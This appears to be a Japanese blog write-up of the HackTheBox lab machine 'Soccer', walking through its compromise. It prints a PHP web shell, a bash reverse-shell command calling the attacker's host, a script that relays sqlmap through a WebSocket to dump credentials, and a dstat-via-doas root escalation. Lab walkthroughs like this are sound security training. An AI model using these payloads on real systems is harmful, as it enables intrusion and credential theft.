HackTheBox Soccer WriteUp

今回の記事は、HackTheBoxのEasyマシン「Soccer」のWriteUpです！
Soccerというマシンの名前は何を示しているか分かりませんが、ちょうどリリース時期ぐらいにワールドカップが開催していたような気がするので、それの影響を受けているのでしょうか。。。
攻略目指して頑張ります！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b72e4154-dfa0-60ea-c5ac-7cf31404d4df.png)


グラフはEasyにしては少し難し目な感じがしますね。。
最近のマシンはEasyでも簡単には攻略できないので、気合い入れてルートを目指します！

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Soccer

### 侵入
それでは、攻略を開始しましょう。
いつものように、ポートスキャンから開始します。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ sudo nmap -n -Pn -v --reason -p- -sS --min-rate=1000 -A 10.10.11.194 -oN nmap.log

PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
```
22番と80番、さらには9091番が確認できました。


では、80番が開いているのでWeb探索を開始します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/3ed53854-4853-de71-b2a7-db44a2ea8cad.png)
マシンの名前通り、サッカーのサイトが表示されました。FIFAワールドカップのニュースもあるようです。
サイトを一通り見てみましたが、特に遷移ができそうなボタンは見つかりません。こういう時はディレクトリ探索をしてみます。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/06/12 19:21:30 Starting gobuster in directory enumeration mode
===============================================================
http://soccer.htb/.htaccess            (Status: 403) [Size: 162]
http://soccer.htb/.htpasswd            (Status: 403) [Size: 162]
http://soccer.htb/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 20476 / 20477 (100.00%)
===============================================================
2023/06/12 19:27:47 Finished
===============================================================
```
新しい遷移先として、「tiny」を発見しました！

### Tiny File Manager

早速アクセスしてみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c5b9a923-3410-21c5-1101-34d77d89274b.png)
ログインページが表示されました。
こういう時は、とりあえずSQLインジェクションを試してみたくなりますが、よく見てみると、Tiny File Managerのログインページであることが分かります。使用しているサービスが分かったので、まずはデフォルトの認証情報が存在するかを確認します。
Googleで調べてみると、下記の記事を発見しました。

https://elements.heroku.com/buttons/skmdimtiaj/tinyfilemanager

記事によると、「admin/admin@123」がデフォルトのパスワードであることが分かります。セキュリティのインシデント要因としてデフォルトパスワードを変更せずに使用していることは少なくありません。今回のマシンでもデフォルトの認証情報が有効であるか試してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d9d2902d-6bc1-da50-075f-41445546bd39.png)
デフォルト認証情報でログインできました！
File Managerを見てみると、ファイルをアップロードすることができるようです。右上にある雲のアイコンをクリックするとアップロード画面に遷移できます。
試しにPHPファイルをアップロードしてみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/25fa48c5-5802-2e3a-8047-cff351f2eb79.png)
アップロードしようとすると、書き込み権限がないため失敗してしまいました。
確かによく見てみると、tinyディレクトリは「755」となっており、書き込む権限がありません。
他に権限を操作する必要があるのかなと思いつつ、File Managerを操作していると、tinyディレクトリの中に、uploadsディレクトリを発見しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1c832ace-2e6b-9a05-64bf-0562ccc68405.png)
ここで注目してほしいのは、uploadsディレクトリの権限です。「757」になっています！現実ではなかなか見ない権限の設定ですが、これでファイルをアップロード出来そうです。
アップロードする前に、使用するPHPファイルを用意します。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ cat exploit.php 
<?php system($_GET['cmd']); ?>
```
シンプルに、cmdで指定したコマンドを実行するPHPファイルです。
ファイルが用意できたので、uploadsディレクトリにアップロードしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/288cd82a-aa44-bf83-8a0f-e768a2ca0005.png)
書き込み権限がないというエラーが表示されず、うまくアップロードできました！
では、RCEを発火させていきましょう。まずはidコマンドが実行できるか試します。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ curl http://soccer.htb/tiny/uploads/exploit.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
実行できています！うまくいくことが分かったので、シェルを取得しましょう。

## www-dataとしてのシェル
それでは、先ほどと同じようにコマンドを実行させ、シェルを取得します。
送信するコマンドは下記の通りです。
```bash
┌──(kali㉿kali)-[~/Desktop/ExploitFiles/PHP]
└─$ curl http://soccer.htb/tiny/uploads/exploit.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.6/5555%200%3E%261%27
```
bashによりリバースシェルを取得しようとしています。
Kali側で待ち受けたら、実行しましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ nc -lnvp 5555                                               
listening on [any] 5555 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.194] 37876
bash: cannot set terminal process group (1043): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ whoami
whoami
www-data
```
侵入に成功しました！

### 横移動
シェルは取得できましたが、www-dataユーザなので横移動が必要です。
まずは、ユーザの存在を確認しましょう。ホームディレクトリを参照します。
```bash
www-data@soccer:/home$ ls -l
total 4
drwxr-xr-x 3 player player 4096 Nov 28  2022 player
```
playerユーザを確認しました。認証情報を取得するなどして、playerユーザのシェル取得を目指します。

問題はどこから列挙を始めるかですが、ここで今回のポートスキャンで9091番が開いていたことを思い出しました。何に使われているのかを確認してみましょう。確認する方法は色々ありますが、まずはnginxの設定を見てみます。
```bash
www-data@soccer:/home$ ls -l /etc/nginx/sites-enabled
total 0
lrwxrwxrwx 1 root root 34 Nov 17  2022 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17  2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
```
sites-enabledを見てみると、defaultともうひとつ「soc-player.htb」を発見しました。ファイルの内容を見てみましょう。
```bash
www-data@soccer:/home$ cat /etc/nginx/sites-enabled/soc-player.htb
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }
}
```
server_nameに新たなサブドメインを発見しました！
サブドメインなので、もしかしたらと思いhostsファイルを確認すると
```bash
www-data@soccer:/home$ cat /etc/hosts
127.0.0.1       localhost       soccer  soccer.htb      soc-player.soccer.htb
127.0.1.1       ubuntu-focal    ubuntu-focal
```
こちらでも新たなサブドメインを発見することができました。

### soc-player

では、新たなサブドメインにアクセスしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5b4b7c4c-81f9-c06d-8883-71d113427242.png)
一見変わらないように見えますが、Homeのほかに、LoginやSignupというメニューが追加されています。
LoginページでいくつかのSQLインジェクションを試しましたが、発火しなかったので諦めて新規登録することにします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/28e72c8b-2460-fc3e-64d9-2870323efdfd.png)
適当にtestユーザを作成しました。
新規登録が完了したら、作ったユーザでログインします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e071af1b-174a-d2df-d69c-df3fa09b5ed8.png)
チケットの画面が表示されました。一人一人にチケットが割り当てられるのか、私の番号として76383番が表示されています。
その下にはテキストボックスがあります。試しに76383を入力してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2c558968-1a7e-5901-bc17-afd1e84d150a.png)
Ticket Existsと表示されました。ちゃんとチケットは存在するようです。
いまいち何をしているのかわからないので、Burp Suiteでリクエストの詳細を確認します。

確認しようとしましたが、特にidを送っているようなリクエストが見つかりません。そういう時は、Burp SuiteのIntercept機能を使用します。Interceptをonにした状態で、もう一度リクエストを送信すると、下記のようなリクエストを見ることができます。
```json
{"id":"76383"}
```
シンプルにidというパラメータが9091番へ送信されています。Repeaterに送信し、Burp Suiteでリクエストをすぐに送信できるように設定します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/569b852d-949e-b1b6-000a-f2d39487c2ad.png)
idで指定した値でレスポンス（Ticket Exists）が返ってきているので、ここでもSQLが使用されていそうです。

### Web Socket SQLインジェクション

ログイン画面はSQLインジェクションが発火しませんでしたが、こちらではどうでしょう。シングルクォートを追加し、リクエストを送信します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f1932849-9511-07a0-a741-91699a0da74d.png)
Ticket Doesn't Existとレスポンスが返ってきており、SQLインジェクションが発火していないことが分かります。シングルクォートは効力がないようなので、シンプルに「or 1=1-- -」を追加してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a9662be1-6a11-6025-0acb-504d04622937.png)
id部分では、0を指定したのですが、Ticket Exisitsとレスポンスが返ってきています！
SQLインジェクションが発火しました！

脆弱であることが分かったので、sqlmapを実行し、認証情報を取得したいのですが、今回はWeb Socketで発火したSQLインジェクションなのでいつもと同じように実行させることはできません。困った時はすぐにGoogleで調べてみます。「Web Socket SQL Injection」と調べると、興味深い記事を発見しました。

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

この記事ではまさに私が行いたかったWeb Socketでのsqlmapの実行方法について説明してあります。今回は記事内のスタンドアロンサーバを立てるためのスクリプトを少し変更し、sqlmapを成功させていきたいと思います。
まずは、サーバを立てるスクリプトを完成させます。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ cat server.py               
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
        ws = create_connection(ws_server)
        # If the server returns a response on connect, use below line
        #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

        # For our case, format the payload in JSON
        message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
        data = '{"id":"%s"}' % message

        ws.send(data)
        resp = ws.recv()
        ws.close()

        if resp:
                return resp
        else:
                return ''

def middleware_server(host_port,content_type="text/plain"):

        class CustomHandler(SimpleHTTPRequestHandler):
                def do_GET(self) -> None:
                        self.send_response(200)
                        try:
                                payload = urlparse(self.path).query.split('=',1)[1]
                        except IndexError:
                                payload = False

                        if payload:
                                content = send_ws(payload)
                        else:
                                content = 'No parameters specified!'

                        self.send_header("Content-type", content_type)
                        self.end_headers()
                        self.wfile.write(content.encode())
                        return

        class _TCPServer(TCPServer):
                allow_reuse_address = True

        httpd = _TCPServer(host_port, CustomHandler)
        httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
        middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
        pass
```
正直、変えた部分はサーバを指定する部分とdataの部分だけです。
これでスクリプトは作成できたので、サーバを立てていきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ python3 server.py                                                                                              
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
```
サーバを立てることができたので、このサーバに対してsqlmapを実行していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs 
        ___
       __H__                                                                                                                    
 ___ ___["]_____ ___ ___  {1.6.12#stable}                                                                                       
|_ -| . [']     | .'| . |                                                                                                       
|___|_  ["]_|_|_|__,|  _|                                                                                                       
      |_|V...       |_|   https://sqlmap.org 

...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
...
```
データベースを列挙することに成功しました！
この勢いのまま、テーブルを検索していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db --tables
        ___
       __H__                                                                                                                    
 ___ ___[(]_____ ___ ___  {1.6.12#stable}                                                                                       
|_ -| . ["]     | .'| . |                                                                                                       
|___|_  [']_|_|_|__,|  _|                                                                                                       
      |_|V... "      |_|   https://sqlmap.org 

...
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
...
```
accountsテーブルを発見しました！
では、最後にaccoutsテーブルをダンプしていきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dump
        ___
       __H__                                                                                                                    
 ___ ___[)]_____ ___ ___  {1.6.12#stable}                                                                                       
|_ -| . ["]     | .'| . |                                                                                                       
|___|_  [.]_|_|_|__,|  _|                                                                                                       
      |_|V..."       |_|   https://sqlmap.org

...
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+
...
```
playerのパスワードが出力されました！！
ハッシュ化などは特にされていなさそうです。

## playerとしてのシェル

それでは、認証で使用できるか試してみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Soccer]
└─$ ssh player@10.10.11.194
player@10.10.11.194s password:

player@soccer:~$ whoami
player
```
SSH接続に成功しました！
```bash
player@soccer:~$ ls -l
total 4
-rw-r----- 1 root player 33 Jun 13 12:29 user.txt
```
ユーザフラグも確認できています。

### 権限昇格

このマシンもいよいよ大詰めです！権限昇格を目指します。
まずは、いつものようにsudo -lを実行します。
```bash
player@soccer:~$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.
```
どうやら、playerにはsudoを実行する権限がないようです。
では、続いてSUIDを確認します。findを実行しましょう。
```bash
player@soccer:~$ find / -type f -user root -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
```
色々と出力されていますが、目に付いたのは一番上の「doas」です。
doasはsudoと同じように他のユーザとしてコマンドを実行できるものです。設定ファイルに、だれがどのユーザとしてコマンドを実行可能であるか記述してあるので、確認します。
```bash
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
```
playerユーザがrootとして「/usr/bin/dstat」を実行できるようです！
先ほども記述した通り、doasはsudoと同じ効力を持つので、GTFOBinsでdstatのsudoについて検索してみると、権限昇格の方法が紹介されていました！

https://gtfobins.github.io/gtfobins/dstat/

GTFOBinsを参考に、権限昇格していきます。

## rootとしてのシェル

それでは、実際に実行していきます！
まずは、実行するためのファイルを作成してきます。GTFOBinsの一行目です。
```bash
player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' > /usr/local/share/dstat/dstat_exploit.py
```
指定したコマンドは、シンプルにシェルを実行しているだけです。ファイル名は「dstat_exploit.py」にしました。
ファイルが作成できたので、「dstat_」より後ろの「exploit」の部分をオプションで指定し、doasを実行します。
```bash
player@soccer:~$ doas -u root /usr/bin/dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the modules documentation for alternative uses
  import imp
root@soccer:/home/player# whoami
root
```
やりました！権限昇格成功です！
```bash
root@soccer:~# ls -l
total 16
drwxr-xr-x 5 root root 4096 Dec 12  2022 app
-rw-r----- 1 root root   33 Jun 13 12:29 root.txt
-rw-r--r-- 1 root root   49 Nov 19  2022 run.sql
drwx------ 3 root root 4096 Nov 17  2022 snap
```
フラグも確認でき、完全攻略です～！！

### 攻略を終えて

今回のマシンを終えた感想は、とにかくボリュームが凄い！ということです。Mediumマシンであれば、今回のようなボリューム感は特に驚くことではないのですが、、、、やはり、最近のEasyマシンは難しくなってきているような気がします。
初期侵入の引き金となったのは、デフォルトの認証情報の使用です。実際にリアルなシステムでもデフォルトの認証情報を使用していることは少なくない（私の感覚では）ですが、今回のように簡単に侵入されてしまうため、必ず変更することを忘れないようにしたいですね。根本的な原因を見れば、ファイルマネージャーが外部からアクセスできることがそもそもの始まりです。公開が必要なのか、必要ではないのかをしっかりと確認し、適切な制御を意識していきたいです。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです！
最後まで閲覧していただき、ありがとうございました！